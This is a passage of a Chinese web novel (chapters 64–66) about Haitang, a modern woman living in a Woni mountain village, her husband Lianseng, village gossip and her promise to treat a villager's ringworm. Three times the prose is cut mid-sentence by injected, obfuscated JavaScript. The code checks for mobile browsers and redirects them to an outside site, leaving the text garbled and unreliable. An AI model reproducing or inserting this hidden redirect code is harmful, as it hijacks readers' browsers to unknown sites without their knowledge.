最终,他别着脸,几不可闻的说了个字:“脚。” 海棠笑眯眯道:“那你觉得我的脚好看吗?” 他回得更低,鼻音很浓:“嗯。” “你喜欢吗?” “……” 刀莲生一语不发,赶不走人,行吧。他抓了个红苕,又把陶罐抱在腋下,手握着筷子,扭头上了台阶就想要躲进祠堂里去,却差点踢翻了地上的竹篮子。 海棠乐出声。 那边坐在墙根儿下的男人,好几个都瞪大了眼睛,目中全是艳羡。 有男人大声道:“哈呀,莲生两口子真是恩爱啊。” 有人掩不住嫉妒,“他妈的连刀莲生都讨到婆娘了。刀癞子,你努力努力,兴许很快也能找到媳妇儿了。” 刀癞子突然被人点到名,愣了愣,干笑两声:“嘿嘿,我哪有莲生那艳福啊?” 刀莲生和海棠都不说话了。 有人开了头,议论就没停下,且旁若无人。 “那娘们儿很有味道啊。只是看着不像是我们窝尼家的女人呐。” “你看她长成那样,肯定不是啊。我们窝尼家的女人可没她那样的细皮嫩肉。” “对,她是汉家的女人,十个窝尼女人也比不上她一个。”一直不做声的刀德生,突然大声说。他看向那个说海棠很有味道的男人,嘴角挂着抹嘲讽,“怎么,你也想讨个那样有味道的女人是不是?” 那男的不甘示弱,“哪个男的不想讨这样的婆娘?难道说你刀德生就不想?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573618|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 刀德生重重一哼,“那你就去找个汉家女人做婆娘啊,光在这里过嘴瘾儿有什么意思?” 那男的却露出一脸敬谢不敏的表情,“那可不行,我爹我娘要打死我。我们窝尼家的男人只能娶窝尼家的女人,免得生出杂种来。” 另有男人道:“那是多老的黄历了?没事。汉家的女人讨来做妾室就是了。只要大婆娘是我们窝尼家的就成。” “那也得有钱纳妾才行啊。” “不需要多有钱,汉家的女人便宜得很。我跟你们讲,我堂弟就只用一头骡子便娶到了媳妇儿。”刀德生忽然说。 刀莲生皱着浓眉只是对海棠道:“你回去了吧。” 海棠也不想再听那些男人议论自己,嗯了声,说:“那你快点吃。吃完了我就收拾回去。” 刀莲生道:“不用,篮子我晚上自提回来就是。” 海棠便起身,扑打了下屁股上的灰尘,打算回家去了。 这时候那刀德生又大声道:“不过,他们两个可没你们看到的那么恩爱,都是装出来的,家丑嘛。海棠在莲生家里的日子过得很苦的。每日里动辄就被婆婆和姑子随意打骂,我那个堂弟声儿都不吱一个的。那天我还听见海棠哭得撕心裂肺,也不知道堂弟家里是怎生虐待人的。” 刀德生家跟刀莲生家毗邻而居,白氏骂海棠,真可能被他听见。但是,海棠自问,虐待还是算不上。她那个婆婆,主要是在口头上逞些威风罢了。 刀德生摸了把汗水浸泡过的头顶,扫了眼刀莲生,眼里是又嫉又妒的复杂情绪,在众男人都不说话,脸上竟是玩味的时候,他蓦的站起身朝海棠这边走了几步,却是骂起了刀莲生:“你不能护好媳妇儿,你还是男人吗?你娶了她,是让她来你们家受气的吗?早知道你是这样的怂货,当初我就不该鼓动爹娘给你找媳妇儿了!” 在场的人都愣了下,兴致勃勃地看起了笑话。 刀莲生脸上红一阵,白一阵,低着头咬了口红苕,嘴里咕哝:“我不知道你在说什么。” “你不知道?装什么莽?”刀德生咄咄逼人,“我娘请了媒人来给我相看媳妇儿。我说顺便给莲生瞧个婆娘吧。因为两个人,媒钱也不会多多少,单独请,他家根本请不起。所以,就海棠那样的人才,就算她嫁过一回,你以为你一头骡子就能把人家娶回来?还不是沾了我的光!那李媒婆号称没有她做不成的媒!可我现在真是后悔死了。我这算是间接害苦了海棠啊!” 海棠默默听着,先头觉得这刀德生有些莫名其妙,听到最后,有些惊讶。 自己还是个买一送一,是刀德生的媒婆顺便给刀莲生说的个媳妇儿呢。 刀莲生面无表情,倒不是因为德生堂兄当着众人的面讥讽他能娶到媳妇是沾了他的光,而是德生口中,他唤海棠竟不是唤弟媳妇,而是径直喊她的名字,“海棠”。 还有,他要不说,谁知道海棠是嫁过一回的? 堂兄一番话,简直是把他和媳妇儿的遮羞布都当众揭开了。 65. 第 65 章 刀莲生快速把手里的红苕吃完,嘴巴一抹,然后人站起身来,阴沉着脸盯着已经逼到跟前的堂兄。 海棠拉了下他,“你吃你的。” 刀莲生轻轻推开她的手,也不看她,“你回去了。” 海棠这时候怎么可能会走? “你吃完了我再走。” 气氛有些僵持起来。 有男人不服刀德生的话,说:“打出来的婆娘,揉出来的面。婆娘要是不打不骂,岂不是能骑到男人头上来了?瞧这位,自己男人的话都不听,只会让男人在人前出丑。” 海棠朝那人侧目,想看看对方长得如何模样,能说出这样听了拳头硬的话来。 刀德生也鄙夷地看了那人一眼,冷冷地抛出一句话,“打婆娘的男人都是孬种。” 海棠对刀德生瞬间又有了点好感。只是,这两人一唱一和的,好像打海棠的不是她的婆婆和姑子,反而变成了她丈夫刀莲生。 就连那刀癞子也道:“我说德生崽,那是人家的婆娘,人家两口子的日子过得怎么样,关你什么事儿呐!” 他说完,又有几个加入讨论,喊打的,说不该打的,吵开了。 男女主角一个也没动,那边歇凉的男人倒很快分成了两派,为此差点干起架来。 刀癞子一双老鼠眼睛转了转,抓挠着癞痢头走过来,笑嘻嘻的把头伸到地上的竹篮子里看,“莲生,你媳妇儿给你送的啥好吃的啊?我远远闻着,香死我了。” 海棠看看还在对峙的两个男人,再看看刀癞子,又再看看丈夫。 刀莲生当刀癞子不存在似的,只把刀德生紧盯着。只怕刀德生下一刻再非议他和海棠,他就要动手了。 海棠现在的心境可不像在现代世界那样,男人为她打架,她可能会激动,还得意。但是在这个世界可不行。 她和刀莲生现在是夫妻。这里的世界保守、封闭、落后。丈夫和另个男人为了自己打架,势必很快就会传遍小小的山寨,到时候铺天盖地的口水只会吐到她身上。 何况另一个打架的主角还是堂伯娘的儿子。 那得了? 两家的关系立刻破裂,婆婆绝不会再容忍自己这个媳妇了。 海棠立刻迎合那刀癞子道:“癞子兄,你要不嫌弃粗粝,便也尝尝?我做的蒸红苕,这罐子里的是炒竹笋。” 海棠从背篓里又翻了个土碗出来,——这背篓的碗应该是摆在这里让大家喝茶用的。她就随意取用了。反正男人们,看起来不讲究。 她抓了根红苕放进碗里递给刀癞子。 刀癞子受宠若惊,咽了口口水,双手在裤腿上擦了又擦,才把碗接过来,“弟媳妇儿,那我就不客气了啊。” “嗐,就像癞子兄你自个儿说的,都是同宗同族客气啥?” 海棠左右看看,有些为难,“癞子兄,你带筷子了没?没筷子,不方便夹菜吃啊。” 刀癞子本想说就用手抓,但一看海棠白生生一双手抱着个陶罐,默默觑一眼自己一双指甲壳里满是泥垢的脏手,把碗往地上一搁,“弟媳妇儿你稍等,我去去就回!” 海棠见他跑到坝子边,攀着一棵树,拽了一根树枝扯下来,再撸干净枝叶,将那截树干一择为二,跑回来:“用这个当筷子。” 海棠笑道:“癞子兄真是聪明人。” 抱着陶罐将里面还剩了一半多的炒竹笋拨了半碗出来。 “嫩竹笋做的。我们汉人很喜欢吃这种野味。” 海棠说话的功夫,刀癞子已经把碗里那根红苕拿在手里咬吃了大半,跟刀莲生初时一样狼吞虎咽。 吃完了红苕,他才抓着用树枝做的筷子把竹笋刨进嘴里,嚼了两口,面上顿了下,随即大口大口,几下就刨吃了完了,嘴里含糊的不住说:“好吃!好吃!这嫩竹笋又脆又嫩,而且好香啊。没想到竹笋那玩意儿,做成菜会这样好吃。” “我用今年新榨的菜籽油炒的。”海棠看还有多的,就又给他添了一点炒笋。剩下的都拨到刀莲生的碗里了,又拉了拉男人,示意他坐下来赶紧把饭吃了,自己好收拾东西回家去。 刀莲生犹豫了下,看了眼刀德生,重新在台阶上坐下来,低着头把最后一根红苕塞进嘴里。 刀癞子伸舌头舔了舔碗,炒笋子的汁汁水水都不放过。他吃完了也不走了,捧着空碗倒了碗凉茶慢慢喝,人蹲在一旁,不时望一眼刀莲生的碗里,眼睛里透出艳羡,由衷地羡慕道:“莲生,你好福气啊!” 海棠现在对这人颇有好感了,笑着问他道:“癞子兄,你的大名是什么?刀癞子肯定不是你的大名。哪有父母给自己孩子取这样的名字的。” 刀癞子是寨子里的泼皮无赖,寨子里没哪个小媳妇儿大姑娘会对他笑,连婆姨这些上了年纪的妇女也对他没啥好脸色。 全寨人都讨厌他,唯有寨佬刀本堂却不嫌弃他,经常喊他来做事。 刀本堂是族长老辈子,很是提携本家子弟。看刀癞子无家无室,心痛他混成这个样子,每每寨里有事就把他叫来做事。一来是为了看顾他,时时提点,要他向好,不要老去做偷鸡摸狗的事情来。二来,为寨子里出力会管饭。那刀癞子就有几天吃喝,是个很不错的营生。 此时,刀癞子遇到了第二个待他还不错的人,这人还是个长得很好看的女人,他一颗心砰砰跳。 刀癞子抬手抓挠了几下头顶上的癞痢疤,目光乱晃,打着哈哈说:“嗐,啥大名不大名的,大家都叫我刀癞子,我都忘了自己还有大名了。……俺爹娘死得早,我是吃百家饭长大的,爹娘没来得及给俺取大名哩。没事儿,莲生媳妇儿,你就叫我刀癞子也没啥。” 刀莲生这时候插话道:“他跟我、还有堂兄和芦生都是一年生的,我们几个中,他排行第二,芦生最小。因我们几个的名字中有个生字,后来本堂叔给他取了个大名,叫水生。” “水生?刀水生?!”海棠愣了下,有些惊喜地赞道:“没想到癞子兄的大名竟如此清秀文雅。” 刀癞子的黑脸,羞红得发紫了。 他从前觉得自己这个大名像是个笑话。现在忽然觉得刀水生这个名字,嗯,的确是很文雅的,比莲生的名字都还好听。 海棠打量眼刀癞子的样貌。 鼻子是鼻子,脸是脸,其实长得不差,可惜就是气质不行,贼眉鼠眼的,目光不正,看人总是不敢堂堂正正看的样子。 最要命的是他一头癞痢头,太伤观感了。 而且他老是去抓挠,那头上的头皮屑,肉眼可见的往下落,扑簌簌的银屑,看着很恶心。 海棠看了看他头顶上的癞子,说:“我看水生哥长得甚是端正,怎么不去看看头上的癣病?如果你能把头上的癞子治好,那样会美观很多。” 海棠改了称呼。 刀癞子第一次听到人家赞美他长相的话,而且海棠还喊他的大名了。 受人尊重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599614|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才会被呼大名。 做惯了万人嫌,忽然这么被人礼遇,他忍不住鼻子发酸,差点哭了。他忙揉着鼻子掩饰住,有些惊诧地道:“你说我这个鬼扯头是个啥癣病?竟是还能治的吗?” 刀癞子之所以被人称为刀癞子,还给海棠误认为是真名了,就因为他长年累月顶着一个癞痢头。 他头上那些长癣的地方状似一个个圆疤,头发还很少,直接能看见头皮。寨里的人迷信,说他那头是鬼剃头,没人敢亲近他不说,都对他十分嫌恶。 人嫌恶他,他逐渐心里扭曲,开始不干好事,人们就越发嫌恶他了。恶性循环。 听了刀癞子的话,海棠心头了然。 这里的人迷信,而迷信又致人愚昧。这刀癞子就从没想过去找大夫治疗。 她叹口气道:“水生哥,我要是说这世上根本没有鬼,你信不信?” 刀癞子一脸迷惑:“没鬼的话,那人死了到哪里去了?” 海棠哑然,她发现自己竟回答不出。 只得另外说道:“你头上这个病就是个皮肤病,能治的,而且很简单。” “啊,真的?!”刀癞子闻言,惊喜地跳了起来,“俺奶活着的时候,倾尽家产都想把盘在我头上的鬼驱走。白母给我弄了两三年,还是老样子。你竟说轻易就能治好,我的天老爷诶,这是真的吗?!” 旁边的刀莲生听着也很吃惊。 刀癞子的头,寨子里的老人都说是盘了个鬼。海棠竟说是个什么病,还能轻易治好。他紧皱着眉头想跟海棠说要谨言慎行,海棠已道:“真的!很容易就治好了。” 刀莲生:“……” 抬眼看见对面的刀德生。 堂兄脸上也是一种不可置信的复杂情绪。 这头海棠已经在回想药方子了。 她想了几样药材,都是从前学医的时候背过的方子。 当年她学中医的时候在医学院虽然是学渣,但是普通寻常的病症,还是很懂一些治疗方式的。 这是人之常情。亲朋好友知道你是学医的,人家不会管你学得好、学得不好,反正知道你是学医的就会来向你请教,寻医问药。 她努力背些寻常病症的治疗方案,不为卖弄,而是只为人家来请教她时,不能一问三不知。所以,当时学医的时候,她把些寻常病症的治疗方式都烂熟于胸。稍难的,就往医院推。 海棠回想了下药方子,张口就要说出好几味可以治疗头癣的药材来,猛然想到当初她私采了那皂角,差点害得全寨子的人为她的行为付出巨大代价的事情来。再则,另几味药材,她也不知道会不会犯此地人的忌讳。 犹豫了下,她谨慎地闭住了嘴。 又打量刀癞子头上包的那块黑布,黏腻腻油叽叽的样子,并且能明显闻到过一股已经刺鼻的臭味儿了。这帕子是多久没洗过?完全没有刀莲生和刀德生那种清爽样子,这一看他就是个大大的懒人。 一个懒汉,你叫他自己去采集药材,还要炮制成可以使用的样子,估计有点困难。而且,他也不一定认得那些药材。 想了下,海棠道:“哎,水生哥,你要是信得过我,我给你把药膏配好,你照着我说的法子敷在头上,保管几个疗程后就能把你的头癣治好了。” 当下,刀癞子惊喜地对她千恩万谢。 这一打岔,刀德生被晾在旁边半天,没一人理会他。自讨了个没趣儿,甩袖拔脚自回家去了。 66. 第 66 章 转天海棠如法炮制,又蒸了几根红苕,再打算炒一钵竹笋送去给丈夫加餐,可是却在碗柜里找不到油盐了。问莲叶——平素都是莲叶管刀家一家子一天的吃喝那两顿,厨房她进出得最多。恰好莲叶回来做午饭,便顺便问起她。 结果莲叶磕磕巴巴告诉她,“今早嫂子没起床的时候,姐姐给娘说嫂子偷,偷……偷偷用盐巴和菜籽油,未经允许,被姐姐告到娘那里。娘就把盐巴罐子和菜籽油都提到楼上,藏到她床头的米柜里去了……” 海棠听罢,只觉得全身的血液都往脸上冲。 婆婆和莲荷分明是把自己当贼一样看待了。 连日来郁结在胸的闷气本就一直没处发泄,海棠涨红了脸,抬脚就要踹向面前那个碗柜。 脚伸到半路,但想,东西坏了,还得那男人来修。她转而一脚踹在旁边地上那个三十公分高的、刀莲生平时用来劈木材的石墩上。 “嫂嫂!” 莲叶给海棠的行为吓着了,白着脸喊了声。 海棠不应,踹完后拔脚便一瘸一拐地往外走。 莲叶捂住眼,只听到有些脆的嘭的一道撞击声。撒开手看去,才发现她嫂子脚上穿了木屐的。 顿时大大松了口气。 刚才真把她吓坏了。 嫂子踹那一脚生猛,要是打着赤脚,那么用力地踢在石墩上,那只脚不残也会十天半个月走不了路了。 但是莲叶不知道海棠刚才那一下,还是搬起石头砸到自己的脚了。 那双木屐是夹趾鞋。她自己绑的麻绳,一条细绳索正好勒在大脚趾和食趾之间,踹那一下,脚趾头中间的皮肉都木了。过了片刻,疼痛感袭来,海棠给疼得眼眶立刻红了。 正气得火冒三丈,遇到这种尴尬事,海棠不想叫莲叶看笑话,咬牙走了出去。 莲叶却以为她是要去找姐姐干架。 毕竟那天海棠和刀莲荷是真的厮打了起来,莲叶已见识过她嫂子的彪悍,这会儿再去找人干架是完全有可能的。 莲叶又急又怕,连忙追了出去。 但见海棠却是往后坡走的,并没去隔壁堂伯娘家寻姐姐。 但是莲叶提着的心并没放下,反而更加忧心了。 莲叶只怕海棠是又想要离开了。 家里只有她一个人,哪里拦得住嫂嫂?到时候哥哥和娘回来她咋交代? 莲叶忙追着海棠走。 “嫂嫂,你要去哪儿啊?”海棠一直不理会莲叶,小姑娘追着追着忍不住哭了出来。 海棠也不知道自己要往哪里去。她只是不想待在那个家里,闷着头只是捡着路就走。 听见后面的哭声,暗叹口气,止住脚,正要叫莲叶回去给婆婆他们做饭,不期碰到从坡上下来的田凤兰,她端着个木盆,盆里是洗好的衣服。 海棠背过身子,抬手快速抹了下眼角。 田凤兰看看那姑嫂两个,一个冷着脸却红着眼,一个脸上犹自还挂着泪,笑问道:“你们咋啦?姑嫂吵架啦?” 海棠强笑道:“哪有的事情?” 莲叶也迅速把脸上的泪水揩掉,勉力笑着给田凤兰打招呼,喊了声堂嫂,“您是去洗了衣服了回来呀?” 田凤兰自打那次莲叶骗了她,掰了她家的笋子,害得她被婆婆骂了一顿后,就对莲叶心头很不爽,对莲叶打招呼一事充耳不闻,只对海棠道:“我听德生说你昨天去给莲生兄弟送饭了的。你也真是的,我来叫你跟我一起去,你说你没准备。今日应该有准备了吧?待会儿吃了晌午饭后我就来叫你,咱们一路去。祠堂那里一群臭男人在,我一个人臊得慌。我们妯娌一块儿,到时候好做伴儿。” 海棠本不想跟田凤兰一起的。 没得油盐炒菜,她今日只有几根蒸红苕。比起田凤兰给她丈夫准备的饭菜,有肉有白米饭,差距太大。别说路上田凤兰肯定要跟她攀比,到时候两家男人一堆吃饭,对比太明显,自己男人吃得那么寒酸,多难堪啊。 但想到婆婆把油盐藏起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699562|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来这事儿,海棠总觉得不能闷着,便答应了田凤兰一块儿去。 到了时候,田凤兰果然不依不饶来叫她一起去祠堂了。 彼时婆婆和两个姑子还在喝糊糊,海棠也不避讳,把蒸好的红苕装篮子里,同田凤兰一起去给男人送吃的。 见到丈夫,海棠就把婆婆和大姑子的所作所为也向丈夫告了一状。 刀莲生听她说完,沉默了好一阵,说:“以后你别给我送吃的了。” 海棠道:“你每天在这里卖大力气,不吃饱,干活儿哪有劲儿?” 刀莲生回道:“无妨。祠堂的活儿快要做完了,最多还有两天。而且从前都这么过来的。” “你们吃得也太差了。”海棠忍不住抱怨道,“那次我听你和娘说修祠堂是寨佬在安排。那管饭的事情也是寨佬在安排吗?能不能去给他提个意见,把伙食弄好点啊?” 刀莲生摇头,“都是大家出的钱粮。怎么安排伙食,寨佬心里是有数的。” 每年寨子里会有不少需要为集体做的事情,都是些吃力不讨好的,头人向来不管这些事,寨佬只好出面应承下来。 虽说是大家出钱出粮,可是寨民们只在祭祀的时候舍得出粮出物,因为怕得罪了神灵。而其他时候,比如修缮集体所需的东西,路啊桥啊,灌溉的水渠和寨神林吃用的那几口水潭的时候就不是那么积极了,摊派到每家每户的份额,总是给推三阻四。刀本堂只好尽量节约。 海棠一时无话可说。 刀莲生看海棠不太高兴,他也心情沉郁,红苕也没吃完,便叫海棠拎回去了。取下来擦汗的包头布重新裹在头上,便拔脚拉着骡子又去了后山拉石头。 海棠目送了丈夫离开,这才提着篮子回家。走到路口,那刀癞子追上来,腆着脸问她药配好了吗? 海棠才想起自己还曾承诺过给刀癞子治头癣的事情呢,她几乎都忘光了,忙掩饰地说:“还差了一味药材,下午应该能配好了。你得空晚点来我家里拿吧。”